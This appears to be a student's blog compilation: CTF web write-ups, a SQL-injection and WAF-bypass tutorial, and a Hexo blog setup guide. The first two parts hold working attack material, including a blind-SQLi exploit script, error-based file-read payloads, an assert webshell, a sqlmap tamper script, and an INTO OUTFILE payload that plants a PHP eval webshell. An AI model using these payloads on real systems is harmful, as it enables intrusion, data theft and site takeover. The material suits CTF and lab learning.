WhaleCTF的Web题目

写在前面

最近要做的事太多了,实验班考核、末考、再加上来成都的同学多的一批。。没时间好好学点东西,前两天装Docker,基础太差了,现在Ubuntu上docker都没搭好环境。应对最近的考核,还是刷点题吧

瞎子摸鱼

是个Sql注入,一开始有回显我以为是基本的回显注入,后来fuzz发现过滤了函数、Infor、小括号,那基本上与回显注入无缘。我们构造admin是万能函数的时候,发现回显:
whaleadmin
我猜测这个是用户名,当不构造正确的用户名时,回显:
flag in the password content
所以后台的语句应该是这样的思路,如果查到用户名存在,则输出用户名的第一个值。若不存在,则返回flag那一堆。。

一开始我和LinE师傅都没想到用order by来爆破password字段,后来看到一篇类似原题的帖子。。
Inject again 注入 过滤左右括号 order by
思路挺简单的,就是通过order by的升序排序法进行盲注
后来就是写exp了,被LinE师傅嘲讽了一波。。确实py能力太差了= =
这里偷偷贴一下LinE师傅的exp:

#coding:utf-8
import requests

def send(flag,charset):
    url = "http://ctf.whaledu.com:10801/47g256f48gff/index.php"
    h = {"Content-Type": "application/x-www-form-urlencoded"}
    for i in range(len(charset)):
        c = flag + charset[i]
        payload = "whaleadmin' union select 1,0,'{}' order by 3#".format(c)
        d = "username={}&password=admin".format(payload)
        r = requests.post(url,data=d,headers=h)
        if "whaleadmin" in r.text:
            return i

def main():
    flag = ""
    num = "0123456789"
    a_z = "abcdefghijklmnopqrstuvwxyz"
    charset = list(num + a_z)
    for i in range(0,80):
        ret = send(flag, charset)
        flag += charset[ret-1]
        print flag

if __name__ == '__main__':
    main()

正则进入

源码泄露扫描得到:

<?php
echo "waht the hell?";
$flag = "*******"; 
if  ("POST" == $_SERVER['REQUEST_METHOD']) 
{ 
    $password = $_POST['password']; 
    if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) 
    { 
        echo 'Wrong Format'; 
        exit; 
    } 
    while (TRUE) 
    { 
        $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; 
        if (6 > preg_match_all($reg, $password, $arr)) 
            break; 
        $c = 0; 
        $ps = array('punct', 'digit', 'upper', 'lower'); 
        foreach ($ps as $pt) 
        { 
            if (preg_match("/[[:$pt:]]+/", $password)) 
                $c += 1; 
        } 
        if ($c < 3) break; 
        if ("42" == $password) echo $flag; 
        else echo 'Wrong password'; 
        exit; 
    } 
}
?>

结整段代码来看,我们需要post一个字符串,该字符串的值为42,并且要包含标点、数字、大写字母、小写字母中三个及以上类型,同时匹配次数要不小于6次

构造的payload:
password=420.00000e-1或者password=42.000000e-0

利用科学计数法,xe(+-)x代表的意思是,x乘以10的x次方,之所以用.我一开始不明白,但是看一下句子猜测的话,这个点的作用应该还是“乘以”,即420乘以10^(-1),就是42。而且.也把标点位占了,所以构造很巧妙。

相关链接:
正则表达式语法

CTF中的Web题目

CTF中的web题目


Bugku

矛盾

tupian
!is_numeric($num): 判断输入不是数字或数字字符串
还要让输入的值==1,我们就构造字符串,num=1a,等号判断时,会取字符串第一个值进行比较

变量1

bianliang
preg_match进行正则匹配,\w+匹配一或多个字符数字下划线,后面dump的变量是可变变量,所以可以借机把我们想要的变量打印出来,一开始我构造args=flag,并无卵用。返回NULL,说明不存在flag这个变量,那我们就把所有的变量都打印出来。

这里用到超全局变量GLOBAL,构造args=GLOBAL,打印出来所有变量即可

xss攻击

研究了一天的xss,并没有什么实际的进展。这道xss是用htmlspecialchars()函数将<、>进行html实体化,让浏览器在html编码解析时,发现它是实体化的编码,就把他们解码为普通的可视化的<、>。这里我们看源码知道这是utf-8的编码方式,我们如果用unicode的方式编码<,后端不识别这个unicode为<,但html解析之后,unicode又变回<,js解析器解析完script标签之后,触发Js引擎执行这段js代码。所以我们构造playload:

\u003cscript\u003ealert(_key_)\u003c/script\u003e

\u开头好像表示的是Utf-8的unicode编码形式(瞎猜的),好菜啊。。这个并没有完全搞懂。
google了半天的浏览器渲染,明白了这个道理:一旦html解析到script标签的时候,就会启动js解析器来解析标签里面的东西,js解析完了之后就执行里面的Js语句。html继而再向后进行解析。

贴几个介绍编码绕过xss的文章:
浏览器加载、解析、渲染的过程
xss编码与绕过
xss编码剖析
字符转unicode

Web4

提示让我们看源码,发现有一串url编码的东西,
解码后传值就行了,拼接两个escape的值

备份是个好习惯

备份文件泄露,php代码泄露检测工具SourceLeakHacker

never give up

查看源码有一个1p.html页面,访问之后出现一堆base64编码的内容,解码后是页面源码,费劲心思构造b,没想到最后直接访问f4l2a3g.txt就可以…

过狗一句话

题目给出你了源码

<?php 
$poc="a#s#s#e#r#t"; 
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; 
$poc_2($_GET['s']) 
?>

也就是说会执行一个(assert函数)[http://www.php.net/manual/zh/function.assert.php]
所以我们只需要给s赋值为我们想要执行的语句。
看到别人的Wp,应该是先扫描一下当前目录看有什么东西
payload:

s = print_r(scandir('./'))

这里我们用print_r来打印数组相关信息,而不是print。
关于绝对路径的用法:

  1. ./ 当前目录
  2. ../ 上层目录
  3. ../../ 上2层目录

前女友

这个跟实验吧php是最好的语言有点类似。
打开它提示的链接,然后代码审计。
md5可以用数组绕过,也可以用0e开头的md5值绕过。
Strcmp可以用数组绕过。
我的payload:

?v1=s878926199a&v2=s155964671a&v3[]=1

po一个php函数漏洞的总结链接

login1(SKCTF)

hint:sql约束攻击
去百度了一下什么叫约束攻击
约束的意思就是对长度进行约束,看完上面的链接基本上就知道注册时的用户名怎么构造了。
我的构造:
admin (前方为空格)

web8

这个题有点意思,涉及到extract()变量覆盖,看一下给的源代码:

<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
  • 首先了解一下empty函数
    这个函数一开始把我误导了,empty是用来测试变量是否已经配置。若变量已存在、非空字符串或者非零,则返回 false 值,反之返回ture。

  • 再介绍一下extract函数:
    extract() 函数从数组中将变量导入到当前的符号表。
    该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

题目提示有txt文件,我们访问一下flag.txt,发现内容是:flags。
我们要传入一个非空的ac,让它的值===$f,$f来自于读取文件获得里面的字符串,文件名叫$fn。目前我们不知道$fn指向哪个文件,但是我们知道有flag.txt这个文件。所以我们让$ac=flags并且$fn=flag.txt就行了
payload:

?$ac=flags&$fn=flag.txt

求getshell

这是一个上传绕过题目,后缀很名单检测和类型检测
php别名php2, php3, php4, php5, phps, pht, phtm, phtml
发现php5可以绕过,还要更改 Content-Type里,把multipart改成大写(搞不懂问什么)。
贴一个上传绕过总结的[链接](https://thief.one/2016/09/22/%E4%B8%8A%E4%BC%A0%E6%9C%A8%E9%A9%AC%E5%A7%BF%E5%8A%BF%E6%B1%87%E6%80%BB-%E6%AC%A2%E8%BF%8E%E8%A1%A5%E5%85%85/)

上传文件时waf会检查哪里?
请求的url
Boundary边界
MIME类型
文件扩展名
文件内容

常见扩展名黑名单:
asp|asa|cer|cdx|aspx|ashx|ascx|asax
php|php2|php3|php4|php5|asis|htaccess
htm|html|shtml|pwml|phtml|phtm|js|jsp
vbs|asis|sh|reg|cgi|exe|dll|com|bat|pl|cfc|cfm|ini

sql注入2

写着sql注入的名字,看到网上说竟然是DS_Store源码泄露??exm???最后直接访问http://120.24.86.145:8007/web2/flag,就可以下载到flag

报错注入

题目链接
既然提示了报错注入,我们就按照提示来注入,我使用的是updatexml报错函数,测试一下:
ceshi
可以看到,爆出了库名,说明这个方法可行。题目给了提示让我们读文件内容,要用到load_file函数,先看一下函数的几种用法举例:

select load_file('c:/boot.ini')
select load_file(0x633a2f626f6f742e696e69)
select load_file('//ecma.io/1.txt') # smb协议
select load_file('\\\\ecma.io\\1.txt') # 可用于DNS隧道

我们的思路是把concat里面查询数据库的句子替换为substr(返回值函数),不让报错函数打印数据库的名字了,而是打印我们读到的文件内容,substr就相当于printf的作用。题目过滤了单引号,我们就用十六进制表示绝对路径,但是要用到hex()函数让数据库知道我们要将字符串转为16进制。值得注意的是concat语句第一个空不可省略,否则打印不出内容。完整的payload:

http://103.238.227.13:10088/?id=1%0aor%0aupdatexml(1,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870)),1,30)),1)

先返回读到内容前30位的16进制,再更改语句依次往后读:

http://103.238.227.13:10088/?id=1%0aor%0aupdatexml(1,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870)),31,30)),1)

tupian
将读到的16进制转换为字符:
jieguo

insert into注入

先审计一下源码:

error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

explode过滤逗号,所以报错注入肯定行不通。看到网上的Wp说是基于时间的盲注,盲注点很显然是XFF。经过测试payload有效:

X-Forwarded-For:1'+sleep(5) and '1'='1

页面返回有一个延时,这里就不能用if(,,)语句了,因为过滤了逗号,用另一个注入语句:

select case when (条件) then 代码1 else 代码 2 end

于是有了如下的payload:

1' and (select case when (select length(flag) from flag limit 1)=32 then sleep(5) else 1 end) and '1'='1

emmm,手注是不可能的,这辈子是不可能手注的(手动滑稽),我们抓个包让sqlmap以XFF为注入点扫描,再加个过滤逗号的tamper就好了。若以XFF为注入点,则要在抓包后的导出文件里XFF后加*,标识为注入点如图:
zhurudian
然后找了网上大神的过滤逗号的tamper,放在Sqlmap目录里,命名为comamalessmysql.py

#!/usr/bin/env python

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces some instances with something whthout comma 

    Requirement:
        * MySQL

    Tested against:
        * MySQL 5.0


    >>> tamper('ISNULL(TIMESTAMPADD(MINUTE,7061,NULL))')
    'ISNULL(NULL)'

    >>> tamper('MID(VERSION(), 2, 1)')
    'MID(VERSION() FROM 2 FOR 1)'

    >>> tamper('IF(26=26,0,5)')
    'CASE WHEN 26=26 THEN 0 ELSE 5 END'

    >>> tamper('IFNULL(NULL,0x20)')
    'CASE WHEN NULL=NULL THEN 0x20 ELSE NULL END'

    >>> tamper('LIMIT 2, 3')
    'LIMIT 3 OFFSET 2'
    """


    def commalessif(payload):
        if payload and payload.find("IF") > -1:
            while payload.find("IF(") > -1:
                index = payload.find("IF(")
                depth = 1
                comma1, comma2, end = None, None, None

                for i in xrange(index + len("IF("), len(payload)):
                    if depth == 1 and payload[i] == ',' and not comma1:
                        comma1 = i

                    elif depth == 1 and payload[i] == ',' and comma1:
                        comma2 = i

                    elif depth == 1 and payload[i] == ')':
                        end = i
                        break

                    elif payload[i] == '(':
                        depth += 1

                    elif payload[i] == ')':
                        depth -= 1

                if comma1 and comma2 and end:
                    _ = payload[index + len("IF("):comma1]
                    __ = payload[comma1 + 1:comma2]
                    ___ = payload[comma2 + 1:end]
                    newVal = "CASE WHEN %s THEN %s ELSE %s END" % (_, __, ___)
                    payload = payload[:index] + newVal + payload[end + 1:]
                else:
                    break

        return payload

    def commalessifnull(payload):
        if payload and payload.find("IFNULL") > -1:
            while payload.find("IFNULL(") > -1:
                index = payload.find("IFNULL(")
                depth = 1
                comma, end = None, None

                for i in xrange(index + len("IFNULL("), len(payload)):
                    if depth == 1 and payload[i] == ',':
                        comma = i

                    elif depth == 1 and payload[i] == ')':
                        end = i
                        break

                    elif payload[i] == '(':
                        depth += 1

                    elif payload[i] == ')':
                        depth -= 1

                if comma and end:
                    _ = payload[index + len("IFNULL("):comma]
                    __ = payload[comma + 1:end].lstrip()
                    newVal = "CASE WHEN %s=NULL THEN %s ELSE %s END" % (_, __, _)
                    payload = payload[:index] + newVal + payload[end + 1:]
                else:
                    break

        return payload

    retVal = payload

    if payload:
        retVal = re.sub(r'(?i)TIMESTAMPADD\(\w+,\d+,NULL\)', 'NULL', retVal)
        retVal = re.sub(r'(?i)MID\((.+?)\s*,\s*(\d+)\s*\,\s*(\d+)\s*\)', 'MID(\g<1> FROM \g<2> FOR \g<3>)', retVal)
        retVal = commalessif(retVal)
        retVal = commalessifnull(retVal)
        retVal = re.sub(r'(?i)LIMIT\s*(\d+),\s*(\d+)', 'LIMIT \g<2> OFFSET \g<1>', retVal)

    return retVal

然后Sqlmap里跑一下,语句如下:
sqlmap

多次

这道题困了我一天,一开始我以为是盲注,于是花时间在写脚本花了一天。。后来找到一个wp其实就是手注,只是过滤掉了union一些关键词,看一下题目:

  • 查询有结果时,返回nothing
  • 查询无结果时,返回error
  • %23可注释,引号可用

ok,知道上述条件,我们测一下它过滤了什么。
介绍一种检查过滤的方法,叫异或判断:
异或是一种逻辑运算,运算法则简言之就是:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1),null与任何条件做异或运算都为null,如果从数学的角度理解就是,空集与任何集合的交集都为空。ysql里异或运算符为^ 或者 xor

  1. 构造id=1’^(条件)^’
  2. 判断的两个条件一个是括号里的条件,另一个是后面的’’,’’为空,即为0。所以括号里的条件若是成立,则页面返回错误;反之则页面返回正常
  3. 完整payload:
    http://120.24.86.145:9004/1ndex.php?id=1'^(length('union')=5)^'
    返回正确,说明判断条件是错的,所以union被过滤了
    我们用叠加语句看一下 uniunionon是否会被过滤,payload:
    http://120.24.86.145:9004/1ndex.php?id=1'^(length('uniunionon')=5)^'
    返回错误,说明判断条件正确,所以这个可以当作union使用。
  4. 接下来就是一些基础查询了,题目说有两个flag,再查到另一个列时,出现一个网址:
    Once_More.php
  5. 里面还有一道注入题,因为它会回显你提交的参数,所以想知道过滤了什么直接就可以看出来,过滤了Union,我用的报错注入解决的
  6. over,这道题学习了异或注入判断过滤。

login3{SKCTF}

tip给了说是布尔盲注
在username这个注入点测试一下,初步手工模糊测试,发现过滤了空格、逗号、等号,没有过滤#和’。因为是布尔盲注,那我们构造ascii函数语句。首先我们猜测一个用户名吧,就猜Admin,发现回显是:password error。
这说明这个用户名存在,那么我们就可以把这句话作为一个判断对错的语句,结合异或注入进行ascii的猜测。(用户名错误时会返回 username does not exist!)

  1. 过滤了‘=’,那么我们ascii的等号语句就没法使用了,经过测试like是绕不过去的。那我们就通过这句话替换掉等号:
    username=admin'^(ascii('a')-97)
    等价于:
    username=admin'^(0)
    异或注入,因为a的十进制ascii为97,所以与(0)异或。
  • (0)条件时返回”password error”
  • 其余条件时返回”username does not exist!”
  1. 直接上py脚本跑:
    jiaoben
    这里需要解释一下,既然过滤了逗号,那么我们substr(,,)的语句就没用了。我们可以换一种形式表达,即substr(database()from1),这样的返回值如图:
    substr1
    substr2
    所以问题就来了,ascii函数对字符串的返回值是什么呢? 这个问题想了我好久,一开始是找的别人的脚本,看他们写遍历的时候卡在这个地方,这尼玛的ascii面对字符串难道不是返回NULL?!。后来发现自己惯性思维了,测试一下,ascii()这个破函数在处理字符串的时候会返回字符串第一个字符的ascii值,难受ing…

还有一个问题就是过滤掉了information,这让查表就变的头疼。
但是我们想一下php后端处理过程,它对username的处理无非是下边框架的语句:
select username from 表 where username = “admin”^()
所以它为我们已经找好了表了,既然题把information锁死了,那flag就只可能是这个admin的密码了。那我们要做的就是查admin密码

看一下下面这个语句:
password

我们的密码猜对时,返回false,跟上面异或的思路一样

sql简单的注入和常见的waf绕过

写在前面

前一阵子为了做Ctf题临时补了一阵子mysql的相关知识,了解了一些简单的注入流程:查字段数->查库->查表->爆字段。但是应用实战或者其他稍微困难一些的Sql注入题这些还远远不够,所以决定重新学习,系统的做一下归类,并记录一下学习的过程


关于环境

本地用Phostudy搭建的PHP+MYSQL环境,写了一个简单的php,类似于无脑的ctf注入题,get传参Id值

简单的注入

刚才我们写的Php就是一个没有任何过滤的后端,值得注意的是,#的注释功能现在好像被和谐掉了,在Hackbar只能编码为%23才能代替#的作用(我竟然花了好长时间反复查看自己到底有没有过滤qaq),接下来看一下这类绝迹注入的流程.如果你本地有DVWA的环境,就直接注Simple类型就好了,先贴一张表的结构
表结构

查字段

?id=1' order by 1/2/3... %23

找到一个有回显的注入点,手动去猜字段,返回异常的N-1即为字段数

查库

这里字段数确认为3

?id=-1' select 1,2,database() %23

两个月前刚学的时候没有搞清楚没什么Id要改成-1,其实很好理解,mysql的查询如果你的查询是存在的即返回结果,若查询不存在即返回查询结果.
avator

查表

?id=-1' select 1,2,table_name from infomation_schema.tables where table_schema=database() %23

查列名

?id=-1' select 1,2,column_name from information_schema.columns where table_name='user' %23

其中User为我们刚才查到的表

查列名下的具体值

?id=-1' select 1,2,user from user %23

选择查询的列为user列,一般来说ctf的题都是让你查flag列下的值,Dump出来就好.

关于Information_schema

MySQL 中有一个数据库叫做information_schema,储存数据库和表的元信息。information_schema中有两个重要的表,一个叫tables,储存表的元信息,有两列特别重要,table_schema是所属数据库,table_name是表名称。另一个表示columns,储存列的源信息,table_name列是所属表名称,column_name列是列名称

盲注

盲注,即在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端,我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注。其实我们用sqlmap完全可以跑,但是只会用工具最多也就是个脚本小子,要想更好的运用Sqlmap进行注入,我觉得应该从基础学起,搞清楚原理才是最重要的。

布尔盲注

先贴一张自己写的php
avator
即回显只有ture or false

limit

普及一下用法,用mysql演示一下:
limit1

limit2

limit3

猜库长

?id=1' and length(database())=? %23

?即为猜解的裤长,可以用二分法,及大于1,小于100,再从50划分长度。若条件成立返回ture

猜库名

substr()函数

substr(string,start,length)

  • string(必需)规定要返回其中一部分的字符串。

  • start(必需)规定在字符串的何处开始。

  • length(可选)规定被返回字符串的长度。

令外用到ascii()函数,返回查询到的字符的ascii的十进制值,通过大于或者小于的逻辑判断这个值为多少,进而遍历完整的数据库名。
?id=1' and ascii(substr(database(),1,1))>? %23
通过分析,返回的ascii确认为104,对应‘h’,与库名的hpdoger的第一个字母相应。

猜表名

这里需要在substr里嵌套mysql的语句,因为我们要找到对应的表,结合普通查询的语句来构造我们的payload

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()),1,1))>116 %23
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()),1,1))<118 %23

两者返回都为ture,可以判断第一个字母ascii值为117
chabiao
chabiao

猜列名

lieming
此语句猜解的是user表的第一个列名,如是想要猜解其它列名,则更改Limit 的值

猜字段值

ziduanzhi
道理相同

基于时间的盲注

返回页面无法判断语句是否执行, 面对这种情况,基于布尔的SQL盲注就很难发挥作用了(因为基于布尔的SQL盲注的前提是Web程序返回的页面存在true和false两种不同的页面)。这时

if()与sleep()

其实,基于时间的盲注也是运用逻辑判断。首先看一下if()函数:

  • if()
    if(expr1,expr2,expr3)
    如果 expr1 为真,则 IF()函数执行expr2语句; 否则 IF()函数执行expr3语句。

  • sleep()

    sleep(seconds)

    延时一段时间

执行

基本思想跟与布尔盲注一样,给一句话,其他的换成相应查询就可以了

?id=1 and if(ascii(substr(database(),1,1))>100,sleep(10),null)

关于绕过Waf

浅谈编码绕过waf

url编码

这两天一直在刷sqli-labs,做到现在有一点感触。一开始知道有url编码绕过这种方式,但是对于为什么能绕过成功心里是没B数的。经过这两天的测试,我想说的是,这种url编码绕过简直扯淡。人家waf过滤掉了你,你就算编码传过去一个值,到了php页面又被还原再判断,所以相当于没有任何作用。但还是写一下关于url编码的一些理解:

在GET传参的时候,Chrome的url会自动进行编码,而编码形式就是utf-8。一般来说,这个自动编码保留字母和数字不编的形式。其实,我感觉utf-8编码就是为了应对中文问题才诞生的。再说一下解码的问题吧,最初我不理解在php后端什么时候将url解码,后来自己用php传参,echo的结果显示,我们在用$_GET[]时,就将url给解码了。即还原了你的传参原值。所以url编码绕过就是扯淡

%0A换行污染

在GET请求时,将URL的SQL注入关键字用%0A分隔,%0A是换行符,在mysql中可以正常执行。可以用%0a代替空格使用

16进制绕过

这个目前理解尚浅,在列库名或者表名的时候用过,因为可以避免使用单引号闭合。在concat函数里用过,作为分隔符。即0x7e表示‘~’。

报错注入

不得不说updatexml()这个报错函数真的太强了,首先你要了解Xpath。在Mysql中使用了一下这个函数,发现当XPath 使用路径表达式不符合规范时,就会报错,而报错的内容就非常神奇了。下面贴一张报错内容和语法:

or updatexml(1,concat(0x7e,database()),1)

0x7e是为了构造~分割
1
它爆出了我们查询的库名,只要稍加修改,就可以查表、列、字段等。功能强大,依靠它打lab简直爽的不行。报错注入的姿势有很多,po一个写了十种报错函数的帖子

宽子节注入

对于mysql_escape_string或者是mysql_real_escape_string函数转义的单引号,我们都可以用宽子节注入使单引号逃逸。

  • 在GET类型中,我们在单引号前加一个Ascii大于128的编码,因为mysql是以gbk形式读编码的。例如我们构造%df’,则转义后变成%df%5c%27,那么mysql执行语句时,看到前两个编码会结合为汉字,从而是单引号逃逸。
  • 在POST类型中,我们无法再使用%df进行宽子节注入。POST与GET不同,php端不对%df解码(参考对url编码的理解),而是在执行sql查询的时候对%df再进行一次utf-8的编码。结果就是,你在进行sql查询时本想借助%df逃逸,但是现在没有%df可以利用。网上提供了另一种用utf-16进行宽子节注入的payload,这里我拿来用一下,至于为什么utf-16可以借助逃逸,这个我以后学习了16和8的具体转换方式再补上。playload:
    ?id=1� '

二次注入

二次注入顾名思义,这里简单说一下储值型的二次注入:我们将要执行的sql语句通过注册用户操作,存储到服务器里,当我们再一次进行操作时直接调用服务器里我们存储的sql语句就可以了(例如修改密码时)。举一个lab里的例子,我们注册用户登陆后,session会获得一个用户名,在那道题里,没有对session得到的用户名进行过滤,而是直接把密码更新到获取的session的用户名下,如果我们的用户名为admin’#,那么就相当于更新了Admin的密码。

堆叠注入

堆叠注入区别于二次注入,当没有创建新用户的选项时,可以考虑堆叠注入,在登陆时创建一个新用户入。先看一下labs-42的源码

   $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
   $password = $_POST["login_password"];
   $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

可以对Username过滤但是未对password过滤,我们就可以为所欲为了。可以通过报错或者盲注查询出表名,构造语句向表中插入用户数据。payload如下:
login_user=123&login=a';insert into users values(16,'Hodoger','zq1160307775') #
show tables成功显示我们插入的用户,前提是你要查到这个登陆基于users这个表,至于怎么查,各显神通了。

order by注入

order by不能与union select 连用,所以注入就要换思路,可以用报错注入或者延时注入。

  • 报错注入的话,在之前以后列出过十种报错函数可以利用
  • 还有一种注入手段是依靠rand()函数,order by 后的参数直接为rand(),rand中含有表达式,根据rand(ture/false)返回时序列不同来判断表达式是否正确,这里我们以查询库名为例写一个payload猜解:
    ?sort=rand(ascii(left(database(),1))>150)
    

?sort=rand(ascii(left(database(),1))<200)
```
sort参数php端用来接收order by处理的值,其实和布尔盲注的思想有些类似

  • 延时注入
    与基于时间的盲注思路差不多,构造 and if语句

权限的注入

into outfile的传马

MySQL中,可以使用SELECT…INTO OUTFILE语句将表的内容导出为一个文本文件。其基本的语法格式如下:
select [列名] from table into outfile '目标文件' [option]
意思就是你查询的列名导出到目标文件中。
具体看一道sql labs 46,基于order by 注入的题目
payload:

?sort=1 into outfile 'D:\\phpStudy\\WWW\\sqli-labs-master\\Less-46\\test.php' lines terminated by 0x3c3f706870206576616c28245f504f53545b6870646f6765725d293b203f3e
sort是题目里给的order by要查询的参数,outfile后接网站的绝对路径,test.php是我要写入的文件(没有时新建),lines terminated by接木马的16进制。union select 也可以与into outfile联合使用,因为这道题是order by注入无法使用union select写入,所以借助了lines terminated by 。
但是我在写入的时候出现下面的页面
shibai
这就是into outfile的限制了。写入之前先看看into outfile 的权限吧:
如果要实现用into outfile把代码写到WEB目录下,取得WEBSHELL

3大先天条件

  1. 知道物理路径(into outfile ‘WEB目录的物理路径’)这样才能写对目录。(默认的当前目录是MySQL的数据目录)

  2. 能够使用union(也就是MySQL版本在3以上)

  3. 没有对’进行过滤(因为outfile后面的’’不可以用其他函数代替转换)

2大后天条件

  1. MySQL用户拥有file_priv权限(不然就不能写文件或者把文件内容读出)

  2. 对web目录有写权限。
    很明显,我没有file_priv的权限,在mysql里查看一下也能看到,如图
    quanxian
    可以自行百度一下如何在windows下开启file_priv的权限,其实就是在my.ini里把路径置空就好,重启mysql。开启后再执行payload显示如下图:
    chenggong
    在路径下看一下传马是否成功,如图
    muma
    菜刀连接一下,成功
    caodao
    传马成功,下一步就是花样提权。不过目前导出文件的file_priv几乎都不会开启,即root的权限过低,所以可以想办法把它开启。


写在最后

最近大佬丢了我一本sqli-labs的武林秘籍,手工打完了还是有很大收获。其实里面很多题也是可以放到sqlmap里跑,但是做个脚本小子并不是我想要的,最近忙完了转专业这些事,准备闭关修炼一下。先在这里贴一些sqlmap里tamper的用法和介绍,博客总结的很好,而且也po出来一些Url,可以参考一下。

利用Hexo和Github搭建个人博客

写在前面

大一萌新一枚,想学点技术写一个自己的博客,记录自己的点滴。能力有限,又总要写点什么,那就写一下这次创建blog的心酸经历

准备工具

  1. 首先要有一个Github账号,创建一个Reposity(库),name为username.github.io,其中username必须为你的Github账号名,否则你建立的库只会在Pages下的目录,并不是主页,个人觉得是github官方的限制,总不可能让你无限制的拥有创建主页面域名。
  2. 需要安装Git,emmm..如果你不知道什么是Git
  3. 需要安装Node.js
  4. 需要安装Hexo,hexo是一款基于Node.js的静态博客框架,就是说我们可以通过hexo创建我们的博文,将md文件转换成静态文件,再部署到Github上;Hexo可以在安装了Node.js之后通过npm安装:
    $ npm install hexo-cli -g
    笔者是在cmd下运行的npm,但看到网上的方法说最好打开Git bash运行安装

    根目录初始化

  5. 首先创建一个文件夹,名字最好为uername.github.io(便与管理站点)。文件夹用来存放Hexo的配置文件
  6. 命令行Cd到该文件夹下,或者右键git bash,执行命令:
    $hexo init
  7. 安装依赖包:
    $nmp install
    此时该文件夹下会多出来很多文件,目录如下:
    .
    ├── _config.yml
    ├── package.json
    ├── scaffolds
    ├── source
    |   ├── _drafts
    |   └── _posts
    └── themes
    即为Hexo的配置文件

    安装上传插件 hexo-deployer-git

    $ npm install hexo-deployer-git --save
    这个插件支持本地修改上传到Github

    布置自己的网站

    Clone一个你喜欢的骚主题到文件夹

  • 这里笔者用的是Next,通过Git命令执行的github克隆:
    git clone https://github.com/iissnan/hexo-theme-next themes/next
  • 需要一定的时间,克隆后的文件夹名为next,在themes目录下
    avatar
  • 其中,_config.yml是博客页面的配置文件,使用详情左戳

配置主目录

  • 打开主目录下_config.yml
  1. 修改主题,使其指向我们使用的主题
    theme:next
  2. 修改deploy项,与你自己的github相对应
    deploy:
    type: git
    repo: https://github.com/Hpd0ger/Hpd0ger.github.io.git
    name: Hpdoger
    email: # 注册Github的邮箱
    branch: master
    这个deploy信息是hexo-deployer-git插件的工作认证,执行部署操作的时候,首先会自动初始化git仓库(位置在.deploy_git中),并关联到指定repo与branch,后续public文件夹中自动生成的页面代码将会拷贝至此目录中进行代码管理。若修改了name和email,需要删掉整个.deploy_git再重新部署才会生效以及你的Github账号。

    部署到GitHub上

    主要有三个步骤:
  3. hexo g:
    $hexo generate :将source\_post文件下的md文件转成静态页面到public文件夹下
  4. hexo s:
    $hexo s : 生成本地预览,默认情况下,访问网址为: http://localhost:4000/
  5. hexo d:
    $hexo d  :将.deploy目录部署到GitHub
    特别注意:
    $hexo clean :清除缓存文件(db.json)和已生成的静态文件(public)。在某些情况(尤其是更换主题后),如果发现您对站点的更改无论如何也不生效,您可能需要运行该命令。
  6. 现在登陆一下自己的博客,看看有没有成功哦

写博客

创建一篇博文

$hexo new '文章名'

会在source_post文件下创建一个md文件,系统已经为你写好了标题和日期

创建一个页面

$hexo new page "页面名" #如 tages、catagories

创建页面就是在主页上显示你的页面名,即你在博文的开头定义的这篇博文的标签、分类,即属于页面内容
会在source\目录下建立对应名称的文件夹,文件夹下有对应名称的md文件

使用Markdown编辑器

笔者使用的是cmd markdown,由于画面比较小清新所以一直使用,如果你氪金的话还可以将md文件转化为pdf格式。

Markdown语法介绍

  • 这里有一篇不错的博文介绍了一下用法,个人觉得还不错链接
  • 值得注意的就是标题的套用
  • 对于hexo,有两种方式:
    使用本地路径:在hexo/source目录下新建一个img文件夹,将图片放入该文件夹下,插入图片时链接即为/img/图片名称。
    使用图床,地址将图片拖入区域中,会生成图片的URL,这就是链接地址。
    第一种没有成功,笔者一直用的第二种

写在最后

这是笔者的第一篇博文,参考了一些google的资料。写博客目的只是为了能够提高自己,把自己所见所学写下来,比如这次博客的搭建,就花费了好多时间。最近还要忙着考四级和转专业,希望院里面的申请能通过。文采有限,希望有不对或者不好的地方可以反馈给我,接下来的阶段会闭关修炼一阵子,传一下ctf题或者sql注入绕过的博文吧。

未来的路还有很长,希望自己可以一直走下去

not found!